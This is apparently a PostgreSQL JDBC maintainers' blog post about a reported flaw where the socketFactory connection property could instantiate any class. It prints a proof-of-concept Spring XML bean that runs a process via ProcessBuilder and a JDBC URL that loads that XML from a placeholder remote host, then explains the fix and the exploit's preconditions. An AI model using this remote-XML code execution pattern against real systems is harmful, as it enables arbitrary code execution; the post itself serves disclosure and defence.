Thursday, February 3, 2022

CVE or not CVE

Background

The PostgreSQL JDBC group received an email from a security researcher that indicated that
they had found a Serious remote vulnerability.

The driver supports a number of plugins to allow the driver to be customized. Plugins are
specified as connection properties by providing the fully qualified class name of the Java
class that implements the plugin. One of these plugins is for customizing the SocketFactory.
This allows a user to customize the creation of the underlying sockets used by the JDBC
driver when connecting to a remote database. See javax.net.SocketFactory for details on what
a SocketFactory is.

The intended way to use this is as follows:

public static void main(String[] args) throws Exception {
String url = "jdbc:postgresql://node1/test?socketFactory=com.example.YourCustomSocketFactory&socketFactoryArg=SomeArgForYourClass";
try (Connection connection = DriverManager.getConnection(url)){
// do something useful with the connection here.
}
}


There are number of other connection properties plugins which are customizable such as
authenticationPluginClassName, sslhostnameverifier, sslfactory and sslpasswordcallback.
All are meant to allow you to provide your own class to provide custom behaviour for each
respective use case.

Exploit

The reporter discovered that it's possible to execute an arbitrary application using this
mechanism. This is done through a combination of the Postgres JDBC plugin interface and a
Spring Framework class that which will load an xml file from a webserver and execute code
described in the XML file.

The XML file they provided is:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="/System/Applications/Calculator.app/Contents/MacOS/Calculator" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>


The facility in spring-context that enables this is org.springframework.context.support.ClassPathXmlApplicationContext
which will load a remote xml file and parse its contents as a Spring ApplicationContext.
This particular XML snippet would instantiate a ProcessBuilder with the argument
/System/Applications/Calculator.app/Contents/MacOS/Calculator

In order to run the Calculator program the following connect url was provided to the code above

"jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target.example.com/exp.xml"

Because the driver did not check to see if `ClassPathXmlApplicationContext` implemented
SocketFactory it dutifully instantiated it and ran the contents of the xml file above.
The reporter prefaced this report with "Remote code execution vulnerability" which of course
made us sit up and listen.

Analysis

We did find a flaw in our code; namely that *any* class could be instantiated not just a
SocketFactory in this case. The JDBC driver has been hardened in such a way that if you want
to instantiate a custom SocketFactory the provided class has to be extended from SocketFactory.
While this does not stop a user from creating a class that extends `SocketFactory` and doing
something malicious, this is beyond the scope of the driver to control.
Presumably the user provides their own classes and is aware of what they are doing.

As of versions 42.2.25 and 42.3.2 the driver will enforce that the class requested is of the
same type we expect. This enforcement of the plugin classes matching their intended uses
has been applied to the other plugin connection properties as well.

Now is this really a CVE and, if so, how serious is it?

In order to exploit this, a number of preconditions must be met:

1. The driver version must be susceptible to this vulnerability.
2. An exploitable class such as the Spring ClassPathXmlApplicationContext must be available
on the classpath.
3. The remote content that performs the exploit must be accessible to the server, either
locally on the same filesystem or network accessible remotely.
4. The connection properties for the JDBC driver must be configurable by the attacker at
runtime.

That last one makes this particularly difficult to exploit.
The attacker must be able to specify custom connection properties at runtime to override one
of the plugin interfaces with a malicious class and XML configuration. While this may be
possible in an environment where end users can fully customize the driver connection
properties, in those situations the users can likely more directly control what is being
executed as well. So while it may be exploited under though circumstance, the users have
full control to execute arbitrary classes.

While not checking the plugin class type is clearly a bug, the overall scope of this issue
is significantly limited due to the level of customization required to exploit it.